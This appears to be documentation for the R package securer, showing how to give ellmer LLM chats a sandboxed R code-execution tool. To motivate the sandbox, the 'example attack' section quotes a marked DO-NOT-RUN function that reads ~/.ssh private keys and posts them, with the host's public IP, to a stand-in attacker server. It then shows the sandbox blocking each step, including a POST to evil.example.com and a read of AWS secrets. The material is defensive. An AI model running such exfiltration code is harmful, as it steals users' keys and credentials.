Skip to contents

What this is for

ellmer is an R package for chatting with LLMs, and it lets the model call tools. as_ellmer_tool() turns a SecureSession into one of those tools. Register it on a chat, and the model can write R code, have securer run it in the sandbox, and read the result.

Quick start

library(securer)
library(ellmer)

chat <- chat_openai()
chat$register_tool(as_ellmer_tool())
chat$chat("What is the sum of the first 100 prime numbers?")

The model sees a tool called execute_r_code that takes one argument, code. When the model calls it, securer runs the code in the sandbox and sends back the result. The code can compute whatever it likes, but it can’t write to your files or send anything over the network.

Why bother: an example attack

Without a sandbox, code the model writes runs with all of your permissions. The showittome package shows what that can mean. It looks in ~/.ssh for private keys and posts them to a server the attacker controls.

# From https://github.com/ian-flores/showittome/blob/master/R_pkg/R/grabber.R
# DO NOT RUN: this is the attack
grabber <- function() {
  ssh_files <- list.files(path = "~/.ssh")
  for (file in ssh_files) {
    if (grepl("*.pem", file)) {
      file_name <- paste("~/.ssh", file, sep = "/")
      con <- file(file_name)
      httr::POST(
        url = "http://attacker-server.example.com/collect",
        body = list(
          fileName = file_name,
          key = readLines(con),
          address = system("curl -s ifconfig.me", intern = TRUE)
        ),
        encode = "json"
      )
      close(con)
    }
  }
}

In a securer session, each step fails:

session <- SecureSession$new(sandbox = TRUE)

session$execute('list.files("~/.ssh")')
#> character(0)

session$execute('readLines("~/.ssh/key.pem")')
#> Error: cannot open the connection

session$execute('system("curl -s ifconfig.me", intern = TRUE)')
#> Error: process-exec denied

session$execute('httr::POST("http://evil.example.com", body = "stolen")')
#> Error: Failed to connect

session$execute('Sys.getenv("AWS_SECRET_ACCESS_KEY")')
#> [1] ""

session$close()
Attack step Without securer With securer
list.files("~/.ssh") Returns key filenames Empty (read denied)
readLines("~/.ssh/key.pem") Returns private key Error (read denied)
system("curl ...") Returns public IP process-exec denied
httr::POST(...) Data exfiltrated Network denied
Sys.getenv("AWS_SECRET_ACCESS_KEY") Key value returned Empty (env sanitized)

Each step is stopped by a different restriction, so one gap doesn’t undo the rest. vignette("security-model") has the details.

How it works

as_ellmer_tool() starts a SecureSession, or uses one you pass in, and returns an ellmer ToolDef with a single code argument. When the model calls it, securer runs the code in the session and returns the result as a string. If something goes wrong, the error goes back to the model as ContentToolResult(error = ...), so the chat keeps going.

There’s a diagram of the whole round trip in vignette("deployment").

Adding securer tools

You can also give the model’s code your own functions, as securer tools:

tools <- list(
  securer_tool("query_db", "Query a database table by name",
    fn = function(table, limit) {
      con <- DBI::dbConnect(RSQLite::SQLite(), "data.db")
      on.exit(DBI::dbDisconnect(con))
      # The LLM controls `table`, so check it against the real table
      # names and never paste it into SQL as is.
      allowed <- DBI::dbListTables(con)
      if (!table %in% allowed) stop("Unknown table: ", table)
      DBI::dbGetQuery(
        con,
        paste("SELECT * FROM", DBI::dbQuoteIdentifier(con, table), "LIMIT ?"),
        params = list(as.integer(limit))
      )
    },
    args = list(table = "character", limit = "numeric")),

  securer_tool("list_tables", "List available database tables",
    fn = function() {
      con <- DBI::dbConnect(RSQLite::SQLite(), "data.db")
      on.exit(DBI::dbDisconnect(con))
      DBI::dbListTables(con)
    },
    args = list())
)

chat <- chat_openai()
chat$register_tool(as_ellmer_tool(tools = tools))
chat$chat("What tables are available? Show me the first 5 rows of each.")

The model’s code runs in the sandbox, but query_db() and list_tables() run in your session, with full access to the database. So the model can reach your data, but only through the functions you wrote.

Configuring the session

as_ellmer_tool() takes tools, sandbox, and limits, which it passes to the session it creates, and a timeout for each call:

tool_def <- as_ellmer_tool(
  tools = tools,
  sandbox = TRUE,
  limits = list(cpu = 30, memory = 512 * 1024 * 1024),
  timeout = 15
)

vignette("deployment") explains the sandbox and the resource limits.

Using a pre-existing session

For other session options, or to control when the session starts and stops, create the session yourself and pass it in:

session <- SecureSession$new(
  tools = tools,
  sandbox = TRUE,
  verbose = TRUE  # Log tool calls and execution timing
)

chat <- chat_openai()
chat$register_tool(as_ellmer_tool(session = session))

chat$chat("Analyze the sales table and compute monthly totals.")
chat$chat("Now plot the trend.")  # Same session, state persists

# It's your session, so close it when you're done
session$close()

When you pass a session, as_ellmer_tool() ignores tools, sandbox, and limits, and never closes the session for you. That lets you turn on verbose output or an audit log, and share one session between chats.

Result formatting

securer turns the result into text before the model sees it. A data frame is cut to its first 30 printed lines, with a note giving the total number of rows. Anything else is cut at 50 lines. Big results would otherwise fill up the model’s context.

Error handling

Syntax errors, runtime errors, timeouts, a dead session, and tool arguments of the wrong type all go back to the model as ContentToolResult(error = ...) instead of stopping your R code. The model can then fix its code and try again, or explain what went wrong. The error text has file paths and similar details removed first.

Example: data analysis assistant

library(securer)
library(ellmer)

tools <- list(
  securer_tool("load_csv", "Load a CSV file and return as data frame",
    fn = function(path) {
      if (!file.exists(path)) stop("File not found: ", path)
      read.csv(path)
    },
    args = list(path = "character")),

  securer_tool("save_plot", "Save the current plot to a PNG file",
    fn = function(filename) {
      dev.copy(png, filename, width = 800, height = 600)
      dev.off()
      paste("Plot saved to", filename)
    },
    args = list(filename = "character"))
)

chat <- chat_openai(
  system_prompt = paste(
    "You are a data analysis assistant.",
    "Use the execute_r_code tool to load data, compute statistics, and create plots.",
    "Available R tools: load_csv(path), save_plot(filename)."
  )
)
chat$register_tool(as_ellmer_tool(
  tools = tools,
  timeout = 60,
  limits = list(memory = 1024 * 1024 * 1024)
))

# Multi-turn: state persists across calls
chat$chat("Load sales.csv and show me a summary")
chat$chat("What's the correlation between price and quantity?")
chat$chat("Create a scatter plot of price vs quantity")

Other providers

The tool works with any ellmer provider that supports tool calls:

chat <- chat_anthropic()
chat$register_tool(as_ellmer_tool())

chat <- chat_ollama(model = "llama3")
chat$register_tool(as_ellmer_tool())

Many users at once

If you run code directly, a SecureSessionPool hands out sessions for you. For ellmer chats, give each request its own tool and session:

# Running code directly: the pool hands out and takes back sessions
pool <- SecureSessionPool$new(size = 4, tools = tools, sandbox = TRUE)
handle_user_code <- function(code) pool$execute(code, timeout = 30)

# ellmer chats: one session per request, closed when garbage collected
handle_user_chat <- function(user_message) {
  chat <- chat_openai()
  chat$register_tool(as_ellmer_tool(tools = tools, timeout = 30))
  chat$chat(user_message)
}